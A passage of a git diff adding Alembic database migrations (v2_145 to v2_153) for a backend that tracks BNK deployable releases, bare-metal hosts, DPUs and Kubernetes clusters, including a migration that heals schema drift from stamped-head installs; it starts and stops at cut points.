"VALUES (:name, :display_name, :description, :is_default, :is_active, :source_type, " + ":bnk_manifest_version, :bnk_cr_kind, :flo_version, :k8s_version, :doca_version, " + ":containerd_version, :runc_version, :calico_version, :cert_manager_version, " + ":gateway_api_version, :multus_version, :sriov_version, " + ":storage_class_type, :storage_provisioner, :feature_flags, :full_manifest, " + ":created_at, :updated_at)" + ), { + "name": row.name, + "display_name": row.display_name, + "description": row.description, + "is_default": row.is_default, + "is_active": True, + "source_type": "manual", + "bnk_manifest_version": row.bnk_manifest_version, + "bnk_cr_kind": row.bnk_cr_kind, + "flo_version": row.flo_version, + "k8s_version": row.k8s_version, + "doca_version": row.doca_version, + "containerd_version": row.containerd_version, + "runc_version": row.runc_version, + "calico_version": row.calico_version, + "cert_manager_version": row.cert_manager_version, + "gateway_api_version": row.gateway_api_version, + "multus_version": row.multus_version, + "sriov_version": row.sriov_version, + "storage_class_type": row.storage_class_type, + "storage_provisioner": row.storage_provisioner, + "feature_flags": json.dumps(row.feature_flags) if isinstance(row.feature_flags, dict) else row.feature_flags, + "full_manifest": json.dumps(row.full_manifest) if isinstance(row.full_manifest, dict) else row.full_manifest, + "created_at": now, + "updated_at": now, + }) + + # Build old-id → new-id map by name lookup + old_to_new: dict[int, int] = {} + for old_id, name in old_id_to_name.items(): + new_id = bind.execute( + sa.text("SELECT id FROM bnk_deployable_release WHERE name = :name"), + {"name": name}, + ).scalar() + if new_id is not None: + old_to_new[old_id] = new_id + + # Seed 2.3.1 (and 2.1/2.2 if absent — idempotent) + # Resolve bnk_release_id for 2.3.1 from bnk_releases by flo_version_prefix + for seed_row in _SEED_ROWS: + existing = bind.execute( + sa.text("SELECT id FROM bnk_deployable_release WHERE name = :name"), + {"name": seed_row["name"]}, + ).scalar() + if existing is not None: + continue # already migrated or present + + row_data = {k: v for k, v in seed_row.items() if not k.startswith("_")} + + # Resolve GA-label FK for 2.3.1 + flo_prefix = seed_row.get("_bnk_release_flo_prefix") + if flo_prefix: + bnk_release_id = bind.execute( + sa.text("SELECT id FROM bnk_releases WHERE flo_version_prefix = :p"), + {"p": flo_prefix}, + ).scalar() + row_data["bnk_release_id"] = bnk_release_id # may be None + else: + row_data["bnk_release_id"] = None + + bind.execute(sa.text( + "INSERT INTO bnk_deployable_release " + "(name, display_name, description, is_default, is_active, source_type, bnk_release_id, " + "bnk_manifest_version, bnk_cr_kind, flo_version, k8s_version, doca_version, " + "containerd_version, runc_version, calico_version, cert_manager_version, " + "gateway_api_version, multus_version, sriov_version, " + "storage_class_type, storage_provisioner, feature_flags, " + "created_at, updated_at) " + "VALUES (:name, :display_name, :description, :is_default, :is_active, :source_type, :bnk_release_id, " + ":bnk_manifest_version, :bnk_cr_kind, :flo_version, :k8s_version, :doca_version, " + ":containerd_version, :runc_version, :calico_version, :cert_manager_version, " + ":gateway_api_version, :multus_version, :sriov_version, " + ":storage_class_type, :storage_provisioner, :feature_flags, " + ":created_at, :updated_at)" + ), {**row_data, "created_at": now, "updated_at": now}) + + # ------------------------------------------------------------------ + # 3. Repoint bare_metal_hosts.version_profile_id → bnk_deployable_release + # + # ORDER MATTERS on Postgres: the old FK (→ bnk_version_profiles) must be + # dropped BEFORE the UPDATE, otherwise Postgres rejects the new catalog IDs + # (they exist in bnk_deployable_release, not in bnk_version_profiles). + # SQLite doesn't enforce FKs so order is less critical, but we keep the + # drop-first sequence here too for clarity. + # ------------------------------------------------------------------ + if bind.dialect.name == "postgresql": + op.drop_constraint("bare_metal_hosts_version_profile_id_fkey", "bare_metal_hosts", type_="foreignkey") + + for old_id, new_id in old_to_new.items(): + bind.execute( + sa.text("UPDATE bare_metal_hosts SET version_profile_id = :new WHERE version_profile_id = :old"), + {"new": new_id, "old": old_id}, + ) + + with op.batch_alter_table("bare_metal_hosts") as b: + b.create_foreign_key( + "fk_bmh_version_profile_deployable_release", + "bnk_deployable_release", + ["version_profile_id"], + ["id"], + ondelete="SET NULL", + ) + + # ------------------------------------------------------------------ + # 4. Add deployable_release_id to bare_metal_deployments + # ------------------------------------------------------------------ + with op.batch_alter_table("bare_metal_deployments") as b: + b.add_column(sa.Column("deployable_release_id", sa.Integer(), nullable=True)) + b.create_foreign_key( + "fk_bmd_deployable_release", + "bnk_deployable_release", + ["deployable_release_id"], + ["id"], + ondelete="SET NULL", + ) + + # ------------------------------------------------------------------ + # 5. Drop bnk_version_profiles (now retired) + # ------------------------------------------------------------------ + op.drop_index("idx_version_profile_default", table_name="bnk_version_profiles") + op.drop_index(op.f("ix_bnk_version_profiles_name"), table_name="bnk_version_profiles") + op.drop_index(op.f("ix_bnk_version_profiles_id"), table_name="bnk_version_profiles") + op.drop_table("bnk_version_profiles") + + +def downgrade() -> None: + bind = op.get_bind() + now = datetime.now(UTC) + + # ------------------------------------------------------------------ + # 1. Recreate bnk_version_profiles (schema from v2_057) + # ------------------------------------------------------------------ + op.create_table( + "bnk_version_profiles", + sa.Column("id", sa.Integer(), nullable=False), + sa.Column("name", sa.String(length=100), nullable=False), + sa.Column("display_name", sa.String(length=255), nullable=False), + sa.Column("description", sa.Text(), nullable=True), + sa.Column("is_default", sa.Boolean(), nullable=True), + sa.Column("bnk_manifest_version", sa.String(length=50), nullable=False), + sa.Column("bnk_cr_kind", sa.String(length=50), nullable=False), + sa.Column("flo_version", sa.String(length=50), nullable=False), + sa.Column("k8s_version", sa.String(length=50), nullable=False), + sa.Column("doca_version", sa.String(length=50), nullable=False), + sa.Column("containerd_version", sa.String(length=50), nullable=False), + sa.Column("runc_version", sa.String(length=50), nullable=False), + sa.Column("calico_version", sa.String(length=50), nullable=False), + sa.Column("cert_manager_version", sa.String(length=50), nullable=False), + sa.Column("gateway_api_version", sa.String(length=50), nullable=False), + sa.Column("multus_version", sa.String(length=50), nullable=False), + sa.Column("sriov_version", sa.String(length=50), nullable=False), + sa.Column("storage_class_type", sa.String(length=50), nullable=False), + sa.Column("storage_provisioner", sa.String(length=255), nullable=False), + sa.Column("feature_flags", sa.JSON(), nullable=True), + sa.Column("full_manifest", sa.JSON(), nullable=True), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.text("CURRENT_TIMESTAMP"), nullable=True), + sa.Column("updated_at", sa.DateTime(timezone=True), server_default=sa.text("CURRENT_TIMESTAMP"), nullable=True), + sa.PrimaryKeyConstraint("id"), + sa.UniqueConstraint("name"), + ) + op.create_index(op.f("ix_bnk_version_profiles_id"), "bnk_version_profiles", ["id"], unique=False) + op.create_index(op.f("ix_bnk_version_profiles_name"), "bnk_version_profiles", ["name"], unique=True) + op.create_index("idx_version_profile_default", "bnk_version_profiles", ["is_default"], unique=False) + + # ------------------------------------------------------------------ + # 2. Migrate bnk_deployable_release rows back to bnk_version_profiles + # ------------------------------------------------------------------ + releases = bind.execute(sa.text( + "SELECT id, name, display_name, description, is_default, " + "bnk_manifest_version, bnk_cr_kind, flo_version, k8s_version, doca_version, " + "containerd_version, runc_version, calico_version, cert_manager_version, " + "gateway_api_version, multus_version, sriov_version, " + "storage_class_type, storage_provisioner, feature_flags, full_manifest " + "FROM bnk_deployable_release" + )).fetchall() + + # new_release_id → restored vp_id (looked up by name after insert) + release_to_vp: dict[int, int] = {} + for row in releases: + bind.execute(sa.text( + "INSERT INTO bnk_version_profiles " + "(name, display_name, description, is_default, " + "bnk_manifest_version, bnk_cr_kind, flo_version, k8s_version, doca_version, " + "containerd_version, runc_version, calico_version, cert_manager_version, " + "gateway_api_version, multus_version, sriov_version, " + "storage_class_type, storage_provisioner, feature_flags, full_manifest, " + "created_at, updated_at) " + "VALUES (:name, :display_name, :description, :is_default, " + ":bnk_manifest_version, :bnk_cr_kind, :flo_version, :k8s_version, :doca_version, " + ":containerd_version, :runc_version, :calico_version, :cert_manager_version, " + ":gateway_api_version, :multus_version, :sriov_version, " + ":storage_class_type, :storage_provisioner, :feature_flags, :full_manifest, " + ":created_at, :updated_at)" + ), { + "name": row.name, + "display_name": row.display_name, + "description": row.description, + "is_default": row.is_default, + "bnk_manifest_version": row.bnk_manifest_version, + "bnk_cr_kind": row.bnk_cr_kind, + "flo_version": row.flo_version, + "k8s_version": row.k8s_version, + "doca_version": row.doca_version, + "containerd_version": row.containerd_version, + "runc_version": row.runc_version, + "calico_version": row.calico_version, + "cert_manager_version": row.cert_manager_version, + "gateway_api_version": row.gateway_api_version, + "multus_version": row.multus_version, + "sriov_version": row.sriov_version, + "storage_class_type": row.storage_class_type, + "storage_provisioner": row.storage_provisioner, + "feature_flags": json.dumps(row.feature_flags) if isinstance(row.feature_flags, dict) else row.feature_flags, + "full_manifest": json.dumps(row.full_manifest) if isinstance(row.full_manifest, dict) else row.full_manifest, + "created_at": now, + "updated_at": now, + }) + vp_id = bind.execute( + sa.text("SELECT id FROM bnk_version_profiles WHERE name = :name"), + {"name": row.name}, + ).scalar() + if vp_id is not None: + release_to_vp[row.id] = vp_id + + # ------------------------------------------------------------------ + # 3. Repoint bare_metal_hosts.version_profile_id → bnk_version_profiles + # + # Same ordering rule as upgrade: drop the current FK FIRST so Postgres + # doesn't reject the UPDATE (new vp_id values exist in bnk_version_profiles, + # not in bnk_deployable_release which the column currently points to). + # ------------------------------------------------------------------ + if bind.dialect.name == "postgresql": + op.drop_constraint("fk_bmh_version_profile_deployable_release", "bare_metal_hosts", type_="foreignkey") + + for release_id, vp_id in release_to_vp.items(): + bind.execute( + sa.text("UPDATE bare_metal_hosts SET version_profile_id = :vp WHERE version_profile_id = :rel"), + {"vp": vp_id, "rel": release_id}, + ) + + with op.batch_alter_table("bare_metal_hosts") as b: + b.create_foreign_key( + "bare_metal_hosts_version_profile_id_fkey", + "bnk_version_profiles", + ["version_profile_id"], + ["id"], + ondelete="SET NULL", + ) + + # ------------------------------------------------------------------ + # 4. Remove deployable_release_id from bare_metal_deployments + # ------------------------------------------------------------------ + if bind.dialect.name == "postgresql": + op.drop_constraint("fk_bmd_deployable_release", "bare_metal_deployments", type_="foreignkey") + op.drop_column("bare_metal_deployments", "deployable_release_id") + else: + with op.batch_alter_table("bare_metal_deployments") as b: + b.drop_column("deployable_release_id") + + # ------------------------------------------------------------------ + # 5. Drop bnk_deployable_release (must come after FK removal above) + # ------------------------------------------------------------------ + op.drop_index("idx_bnk_deployable_release_active", table_name="bnk_deployable_release") + op.drop_index("idx_bnk_deployable_release_default", table_name="bnk_deployable_release") + op.drop_index(op.f("ix_bnk_deployable_release_name"), table_name="bnk_deployable_release") + op.drop_index(op.f("ix_bnk_deployable_release_id"), table_name="bnk_deployable_release") + op.drop_table("bnk_deployable_release") diff --git a/backend/alembic/versions/v2_145_kubernetes_cluster_deployable_release.py b/backend/alembic/versions/v2_145_kubernetes_cluster_deployable_release.py new file mode 100644 index 00000000..45482db3 --- /dev/null +++ b/backend/alembic/versions/v2_145_kubernetes_cluster_deployable_release.py @@ -0,0 +1,35 @@ +"""ADR-478 P1b: add deployable_release_id FK to kubernetes_clusters. + +Revision ID: v2_145 +Revises: v2_144 +Create Date: 2026-07-21 + +Adds kubernetes_clusters.deployable_release_id: nullable FK → bnk_deployable_release.id +ON DELETE SET NULL. Stamped at the Phase-2 cluster-link seam (ssh_tasks.py) so the +cluster row durably records the BNK release it was built with. +""" + +import sqlalchemy as sa + +from alembic import op + +revision = "v2_145" +down_revision = "v2_144" +branch_labels = None +depends_on = None + + +def upgrade() -> None: + op.add_column( + "kubernetes_clusters", + sa.Column( + "deployable_release_id", + sa.Integer(), + sa.ForeignKey("bnk_deployable_release.id", ondelete="SET NULL"), + nullable=True, + ), + ) + + +def downgrade() -> None: + op.drop_column("kubernetes_clusters", "deployable_release_id") diff --git a/backend/alembic/versions/v2_146_bare_metal_host_rshim_mac_base.py b/backend/alembic/versions/v2_146_bare_metal_host_rshim_mac_base.py new file mode 100644 index 00000000..b8f3fba0 --- /dev/null +++ b/backend/alembic/versions/v2_146_bare_metal_host_rshim_mac_base.py @@ -0,0 +1,30 @@ +"""ADR-478 P2: host-level tmfifo MAC base override for DPU flash. + +Revision ID: v2_146 +Revises: v2_145 +Create Date: 2026-07-23 + +Adds bare_metal_hosts.net_rshim_mac_base: nullable string column. +When set, all DPUs flashed on the host enumerate their NET_RSHIM_MAC +from this base instead of the default "00:1a:ca:ff:ff:1". +""" + +import sqlalchemy as sa + +from alembic import op + +revision = "v2_146" +down_revision = "v2_145" +branch_labels = None +depends_on = None + + +def upgrade() -> None: + op.add_column( + "bare_metal_hosts", + sa.Column("net_rshim_mac_base", sa.String(50), nullable=True), + ) + + +def downgrade() -> None: + op.drop_column("bare_metal_hosts", "net_rshim_mac_base") diff --git a/backend/alembic/versions/v2_147_add_benchmark_run_is_baseline.py b/backend/alembic/versions/v2_147_add_benchmark_run_is_baseline.py new file mode 100644 index 00000000..41d6cba6 --- /dev/null +++ b/backend/alembic/versions/v2_147_add_benchmark_run_is_baseline.py @@ -0,0 +1,33 @@ +"""Add is_baseline column to benchmark_runs. + +Revision ID: v2_147 +Revises: v2_146 +Create Date: 2026-07-20 + +Marks a completed run as the reference baseline for its (target_id, scenario_key, +config_id) context, so trend/regression tracking has a fixed comparison point. +One baseline per context is enforced in BenchmarkService.set_baseline, not the DB. +NOT NULL with server-side default so existing rows backfill to False. +""" + +import sqlalchemy as sa + +from alembic import op + +revision = "v2_147" +down_revision = "v2_146" +branch_labels = None +depends_on = None + + +def upgrade() -> None: + op.add_column( + "benchmark_runs", + sa.Column("is_baseline", sa.Boolean(), nullable=False, server_default="false"), + ) + op.create_index("ix_benchmark_runs_is_baseline", "benchmark_runs", ["is_baseline"]) + + +def downgrade() -> None: + op.drop_index("ix_benchmark_runs_is_baseline", table_name="benchmark_runs") + op.drop_column("benchmark_runs", "is_baseline") diff --git a/backend/alembic/versions/v2_148_release_source.py b/backend/alembic/versions/v2_148_release_source.py new file mode 100644 index 00000000..851f88a6 --- /dev/null +++ b/backend/alembic/versions/v2_148_release_source.py @@ -0,0 +1,92 @@ +"""ADR-494 Phase A: introduce release_source table + add provenance columns to bnk_deployable_release. + +Revision ID: v2_148 +Revises: v2_147 +Create Date: 2026-07-22 + +New table: release_source + First-class BNK release source entity (kind = oci|mirror|manual) with optional + encrypted credential and sync-state tracking. + +Catalog changes: bnk_deployable_release + + source_id: Integer FK → release_source.id ON DELETE SET NULL (nullable) + + last_synced: DateTime(timezone=True) nullable +""" + +import sqlalchemy as sa + +from alembic import op + +revision = "v2_148" +down_revision = "v2_147" +branch_labels = None +depends_on = None + + +def upgrade() -> None: + # ------------------------------------------------------------------ + # 1. Create release_source table + # ------------------------------------------------------------------ + op.create_table( + "release_source", + sa.Column("id", sa.Integer(), primary_key=True), + sa.Column("name", sa.String(255), nullable=False, unique=True), + sa.Column("kind", sa.String(30), nullable=False), + sa.Column("url", sa.String(500), nullable=True), + sa.Column("credential_encrypted", sa.Text(), nullable=True), + sa.Column("is_active", sa.Boolean(), nullable=False, server_default=sa.true()), + sa.Column("auto_sync", sa.Boolean(), nullable=False, server_default=sa.false()), + sa.Column("sync_interval_hours", sa.Integer(), nullable=True), + sa.Column("last_synced_at", sa.DateTime(timezone=True), nullable=True), + sa.Column("sync_status", sa.String(50), nullable=False, server_default="idle"), + sa.Column("sync_error", sa.Text(), nullable=True), + sa.Column("release_count", sa.Integer(), nullable=False, server_default="0"), + sa.Column("description", sa.Text(), nullable=True), + sa.Column("created_at", sa.DateTime(timezone=True), nullable=True, server_default=sa.func.now()), + sa.Column("updated_at", sa.DateTime(timezone=True), nullable=True, server_default=sa.func.now()), + ) + op.create_index(op.f("ix_release_source_id"), "release_source", ["id"], unique=False) + op.create_index(op.f("ix_release_source_name"), "release_source", ["name"], unique=True) + op.create_index("idx_release_source_kind", "release_source", ["kind"]) + op.create_index("idx_release_source_active", "release_source", ["is_active"]) + op.create_index("idx_release_source_sync_status", "release_source", ["sync_status"]) + + # ------------------------------------------------------------------ + # 2. Add source_id + last_synced to bnk_deployable_release + # ------------------------------------------------------------------ + with op.batch_alter_table("bnk_deployable_release") as b: + b.add_column(sa.Column("source_id", sa.Integer(), nullable=True)) + b.add_column(sa.Column("last_synced", sa.DateTime(timezone=True), nullable=True)) + b.create_foreign_key( + "fk_bnk_deployable_release_source_id", + "release_source", + ["source_id"], + ["id"], + ondelete="SET NULL", + ) + + +def downgrade() -> None: + bind = op.get_bind() + + # ------------------------------------------------------------------ + # 1. Remove source_id + last_synced from bnk_deployable_release + # ------------------------------------------------------------------ + if bind.dialect.name == "postgresql": + op.drop_constraint("fk_bnk_deployable_release_source_id", "bnk_deployable_release", type_="foreignkey") + op.drop_column("bnk_deployable_release", "source_id") + op.drop_column("bnk_deployable_release", "last_synced") + else: + with op.batch_alter_table("bnk_deployable_release") as b: + b.drop_column("source_id") + b.drop_column("last_synced") + + # ------------------------------------------------------------------ + # 2. Drop release_source table + # ------------------------------------------------------------------ + op.drop_index("idx_release_source_sync_status", table_name="release_source") + op.drop_index("idx_release_source_active", table_name="release_source") + op.drop_index("idx_release_source_kind", table_name="release_source") + op.drop_index(op.f("ix_release_source_name"), table_name="release_source") + op.drop_index(op.f("ix_release_source_id"), table_name="release_source") + op.drop_table("release_source") diff --git a/backend/alembic/versions/v2_149_kubernetes_cluster_running_release.py b/backend/alembic/versions/v2_149_kubernetes_cluster_running_release.py new file mode 100644 index 00000000..bc1004d0 --- /dev/null +++ b/backend/alembic/versions/v2_149_kubernetes_cluster_running_release.py @@ -0,0 +1,35 @@ +"""ADR-494 Phase B: add running_release_id FK to kubernetes_clusters. + +Revision ID: v2_149 +Revises: v2_148 +Create Date: 2026-07-23 + +Adds kubernetes_clusters.running_release_id: nullable FK → bnk_releases.id +ON DELETE SET NULL. Written by discovery/scan write-back so the cluster row +durably records the BNK release line it is currently running. +""" + +import sqlalchemy as sa + +from alembic import op + +revision = "v2_149" +down_revision = "v2_148" +branch_labels = None +depends_on = None + + +def upgrade() -> None: + op.add_column( + "kubernetes_clusters", + sa.Column( + "running_release_id", + sa.Integer(), + sa.ForeignKey("bnk_releases.id", ondelete="SET NULL"), + nullable=True, + ), + ) + + +def downgrade() -> None: + op.drop_column("kubernetes_clusters", "running_release_id") diff --git a/backend/alembic/versions/v2_150_add_bnk_cluster_config.py b/backend/alembic/versions/v2_150_add_bnk_cluster_config.py new file mode 100644 index 00000000..1b811064 --- /dev/null +++ b/backend/alembic/versions/v2_150_add_bnk_cluster_config.py @@ -0,0 +1,95 @@ +"""ADR-424: Add BnkClusterConfig table and multi-host DPU cluster columns. + +Revision ID: v2_150 +Revises: v2_149 + +Adds: + - bnk_cluster_configs table (1:1 side-table to kubernetes_clusters for multi-host BNK clusters) + - bare_metal_hosts.is_control_plane boolean column + - dpus.kubernetes_cluster_id, dpus.host_tmfifo_ip, dpus.dpu_tmfifo_ip columns +""" + +import sqlalchemy as sa + +from alembic import op + +revision = "v2_150" +down_revision = "v2_149" +branch_labels = None +depends_on = None + + +def upgrade() -> None: + # 1. Create bnk_cluster_configs table + op.create_table( + "bnk_cluster_configs", + sa.Column("id", sa.Integer(), nullable=False), + sa.Column("cluster_id", sa.Integer(), nullable=False), + sa.Column("tmfifo_pool_cidr", sa.String(length=64), server_default="192.168.100.0/22", nullable=False), + sa.Column("join_transport", sa.String(length=32), server_default="rshim", nullable=False), + sa.Column("control_plane_host_id", sa.Integer(), nullable=True), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.text("now()"), nullable=True), + sa.Column("updated_at", sa.DateTime(timezone=True), server_default=sa.text("now()"), nullable=True), + sa.ForeignKeyConstraint(["cluster_id"], ["kubernetes_clusters.id"], ondelete="CASCADE"), + sa.ForeignKeyConstraint(["control_plane_host_id"], ["bare_metal_hosts.id"], ondelete="SET NULL"), + sa.PrimaryKeyConstraint("id"), + sa.UniqueConstraint("cluster_id"), + ) + op.create_index(op.f("ix_bnk_cluster_configs_cluster_id"), "bnk_cluster_configs", ["cluster_id"], unique=True) + op.create_index(op.f("ix_bnk_cluster_configs_id"), "bnk_cluster_configs", ["id"], unique=False) + + # 2. Add is_control_plane to bare_metal_hosts + op.add_column( + "bare_metal_hosts", + sa.Column("is_control_plane", sa.Boolean(), server_default="false", nullable=False), + ) + + # 3. Add kubernetes_cluster_id and tmfifo IPs to dpus + op.add_column( + "dpus", + sa.Column("kubernetes_cluster_id", sa.Integer(), nullable=True), + ) + op.add_column( + "dpus", + sa.Column("host_tmfifo_ip", sa.String(length=64), nullable=True), + ) + op.add_column( + "dpus", + sa.Column("dpu_tmfifo_ip", sa.String(length=64), nullable=True), + ) + op.create_foreign_key( + "fk_dpus_kubernetes_cluster_id", + "dpus", + "kubernetes_clusters", + ["kubernetes_cluster_id"], + ["id"], + ondelete="SET NULL", + ) + # Partial unique index — uniqueness backstop for concurrent IPAM allocation. + # Ensures (cluster, dpu_tmfifo_ip) is unique across non-NULL allocations. + # A concurrent race in allocate_next_subnet then becomes an IntegrityError + # instead of silent IP address duplication. + op.create_index( + "ix_dpus_cluster_tmfifo_ip", + "dpus", + ["kubernetes_cluster_id", "dpu_tmfifo_ip"], + unique=True, + postgresql_where=sa.text("dpu_tmfifo_ip IS NOT NULL"), + ) + # ix_dpus_kubernetes_cluster_id is created in v2_151 so that stacks + # that already applied v2_150 (before the index was added) get it via + # an incremental migration rather than a silent no-op. + + +def downgrade() -> None: + op.drop_index("ix_dpus_cluster_tmfifo_ip", table_name="dpus") + op.drop_constraint("fk_dpus_kubernetes_cluster_id", "dpus", type_="foreignkey") + op.drop_column("dpus", "dpu_tmfifo_ip") + op.drop_column("dpus", "host_tmfifo_ip") + op.drop_column("dpus", "kubernetes_cluster_id") + + op.drop_column("bare_metal_hosts", "is_control_plane") + + op.drop_index(op.f("ix_bnk_cluster_configs_id"), table_name="bnk_cluster_configs") + op.drop_index(op.f("ix_bnk_cluster_configs_cluster_id"), table_name="bnk_cluster_configs") + op.drop_table("bnk_cluster_configs") diff --git a/backend/alembic/versions/v2_151_add_dpus_kubernetes_cluster_id_index.py b/backend/alembic/versions/v2_151_add_dpus_kubernetes_cluster_id_index.py new file mode 100644 index 00000000..6755bab4 --- /dev/null +++ b/backend/alembic/versions/v2_151_add_dpus_kubernetes_cluster_id_index.py @@ -0,0 +1,35 @@ +"""ADR-424: Add plain index on dpus(kubernetes_cluster_id). + +Revision ID: v2_151 +Revises: v2_150 + +Separated from v2_150 so that stacks that already applied v2_150 (before +this index was appended to that revision) can acquire the index via an +incremental migration rather than hitting a silent no-op or a duplicate- +index error (INV-7). +""" + +import sqlalchemy as sa # noqa: F401 — imported for symmetry with other migrations + +from alembic import op + +revision = "v2_151" +down_revision = "v2_150" +branch_labels = None +depends_on = None + + +def upgrade() -> None: + # Plain index for membership queries, before_delete UPDATE, and reconcile + # (WHERE kubernetes_cluster_id = X over NULL-tmfifo rows that the partial + # unique index ix_dpus_cluster_tmfifo_ip does not cover). + # if_not_exists=True makes this idempotent for stacks that already ran the + # old v2_150 (which included this index inline before it was extracted here). + op.create_index( + "ix_dpus_kubernetes_cluster_id", "dpus", ["kubernetes_cluster_id"], + unique=False, if_not_exists=True, + ) + + +def downgrade() -> None: + op.drop_index("ix_dpus_kubernetes_cluster_id", table_name="dpus", if_exists=True) diff --git a/backend/alembic/versions/v2_152_heal_stamped_head_drift.py b/backend/alembic/versions/v2_152_heal_stamped_head_drift.py new file mode 100644 index 00000000..bc08b297 --- /dev/null +++ b/backend/alembic/versions/v2_152_heal_stamped_head_drift.py @@ -0,0 +1,176 @@ +"""Heal schema objects a stamped-head install can never receive. + +Revision ID: v2_152 +Revises: v2_151 + +Fresh installs are provisioned by ``init_db.py``: ``create_all`` from the ORM, +then ``alembic stamp head``. That records "every revision up to head has run" +while the schema is actually whatever the ORM looked like *in that build*. The +two agree only for as long as the ORM and the migration chain stay in step, and +they have not: + + * An object a migration creates BELOW the stamp, which the ORM of that build + did not declare, is never created — and never will be. The stamp says its + migration already ran, so no upgrade will replay it. It is silently absent + until some later build's ORM SELECTs it. + + * An object the ORM declares whose migration sits ABOVE the stamp is built by + create_all anyway, then collides when the upgrade replays that migration. + (Handled at the source in v2_138, which is now idempotent.) + +``stack_instances.blueprint_release_id`` is the first case. It is added by +v2_136, below the v2_137 that installs stamp at, and the ORM did not declare it +then — so on every such stack the column is missing while alembic reports it +applied. The backend's startup drift assertion catches it only once a build +whose ORM *does* declare it tries to boot, which is exactly when the upgrade +fails. + +This revision reconciles both objects by inspection rather than by revision +number, because the stamp cannot be trusted to say what is really there. Every +statement is guarded: on a database built correctly by the chain this migration +is a no-op. + +The durable fix is the CI gate added alongside this revision, which provisions a +database the way the previous release did and then upgrades it — the customer +path, which CI never exercised. +""" + +import sqlalchemy as sa + +from alembic import op + +revision = "v2_152" +down_revision = "v2_151" +branch_labels = None +depends_on = None + + +def upgrade() -> None: + bind = op.get_bind() + inspector = sa.inspect(bind) + + # ── v2_136: stack_instances.blueprint_release_id ───────────────────────── + if inspector.has_table("stack_instances"): + columns = {c["name"] for c in inspector.get_columns("stack_instances")} + + if "blueprint_release_id" not in columns: + op.add_column( + "stack_instances", + sa.Column("blueprint_release_id", sa.Integer(), nullable=True), + ) + op.create_foreign_key( + "fk_stack_instances_blueprint_release_id", + "stack_instances", + "blueprint_releases", + ["blueprint_release_id"], + ["id"], + ondelete="SET NULL", + ) + op.create_index( + "idx_stack_instance_blueprint_release", + "stack_instances", + ["blueprint_release_id"], + if_not_exists=True, + ) + + # v2_136 also relaxed template_id, so a blueprint-backed stack instance + # can exist without a StackTemplate. A stamped-head install kept the + # NOT NULL and rejects those rows at INSERT. + template_id = next( + (c for c in inspector.get_columns("stack_instances") if c["name"] == "template_id"), + None, + ) + if template_id is not None and not template_id["nullable"]: + op.alter_column( + "stack_instances", + "template_id", + existing_type=sa.Integer(), + nullable=True, + ) + + # ── v2_138: container_registries ───────────────────────────────────────── + # v2_138 is idempotent as of this change, so a stack upgrading through the + # chain now gets the table either way. This covers the narrower case of a + # database already stamped PAST v2_138 without the table — an install whose + # upgrade aborted on the collision and was repaired by dropping it. + if not inspector.has_table("container_registries"): + op.create_table( + "container_registries", + sa.Column("id", sa.Integer(), nullable=False), + sa.Column("name", sa.String(255), nullable=False), + sa.Column("description", sa.Text(), nullable=True), + sa.Column("type", sa.String(20), nullable=False), + sa.Column("registry_host", sa.String(255), nullable=False), + sa.Column("username", sa.String(255), nullable=True), + sa.Column("token_encrypted", sa.Text(), nullable=True), + sa.Column("far_service_account_encrypted", sa.Text(), nullable=True), + sa.Column("credential_template_id", sa.Integer(), nullable=True), + sa.Column("created_at", sa.DateTime(timezone=True), server_default=sa.text("now()")), + sa.Column("updated_at", sa.DateTime(timezone=True), server_default=sa.text("now()")), + sa.Column("created_by", sa.String(255), nullable=True), + sa.Column("last_test_status", sa.String(32), nullable=True), + sa.Column("last_test_at", sa.DateTime(timezone=True), nullable=True), + sa.Column("last_test_message", sa.Text(), nullable=True), + sa.ForeignKeyConstraint( + ["credential_template_id"], ["cloud_credential_templates.id"], ondelete="SET NULL" + ), + sa.PrimaryKeyConstraint("id"), + sa.UniqueConstraint("name"), + ) + op.create_index( + "ix_container_registries_id", "container_registries", ["id"], if_not_exists=True + ) + + + # ── redundant index on container_registries.name ───────────────────────── + # The model declares `name = Column(..., unique=True, index=True)`, which + # create_all renders as ONE unique index. v2_138 instead created a + # UniqueConstraint AND a separate plain index, so a chain-built database + # carries an extra non-unique index that create_all never builds. Harmless + # in itself, but it is exactly the create_all-vs-chain divergence this + # release is about, and it is reachable from here — so drop it rather than + # record it in the parity allowlist. + # + # The guard is on UNIQUENESS, not existence. The name means opposite things + # on the two provisioning paths: + # + # * chain-built — the redundant PLAIN index from v2_138; uniqueness is + # enforced by the separate container_registries_name_key. Drop it. + # * create_all — the ONE index the model renders to, and UNIQUE. It is the + # only thing enforcing uniqueness on name. Keep it. + # + # `if_exists` cannot tell those apart: it is present either way. Guarding on + # existence alone therefore drops the unique index out from under every + # stamped-head install that upgrades through here — v3.1.6 stamps at v2_141, + # below this revision, so that is the ordinary fresh-install path, and it + # would leave duplicate registry names insertable. + # + # Re-inspect rather than reuse the inspector above: the create_table branch + # may have run since, and a cached table list would be stale. + for index in sa.inspect(bind).get_indexes("container_registries"): + if index["name"] == "ix_container_registries_name" and not index["unique"]: + op.drop_index( + "ix_container_registries_name", + table_name="container_registries", + ) + break + + +def downgrade() -> None: + # Intentionally empty. + # + # The objects this revision ADDS are ones other revisions already claim to + # own — v2_136 the column, v2_138 the table — and each drops its own in its + # downgrade(). Dropping them here as well would make a downgrade past this + # point destroy schema that a database reaching it by the normal chain + # legitimately has. + # + # It also ALTERS one: upgrade() relaxes stack_instances.template_id to + # nullable. Left alone here because v2_136 restores that on the way down. + # + # And it DROPS one object: the redundant plain ix_container_registries_name + # on a chain-built database. That is deliberately not recreated here either. + # Recreating it would reintroduce the create_all-vs-chain divergence this + # revision exists to remove, and v2_138 — which owns that index — drops it + # with if_exists=True, so a downgrade through v2_138 tolerates its absence. + pass diff --git a/backend/alembic/versions/v2_153_cluster_name_unique_per_project.py b/backend/alembic/versions/v2_153_cluster_name_unique_per_project.py new file mode 100644 index 00000000..0dc6ea22 --- /dev/null +++ b/backend/alembic/versions/v2_153_cluster_name_unique_per_project.py @@ -0,0 +1,126 @@ +"""Scope kubernetes_clusters.name uniqueness to (project_id, name). + +Revision ID: v2_153 +Revises: v2_152 + +KubernetesCluster.name carried a GLOBAL unique constraint, so cluster names +were unique across the whole instance rather than per project: project A +naming a cluster "prod" blocked project B from using "prod", and B learned +of A's cluster via the 409 -- a cross-tenant information leak plus a false +collision (INV-1/INV-2, issue #113). + +Fixing only the application-level duplicate check would move the failure +from a clean 409 to a raw IntegrityError at commit, so the constraint has +to change too: drop the global unique on name, add a composite unique on +(project_id, name). + +project_id is nullable. Under 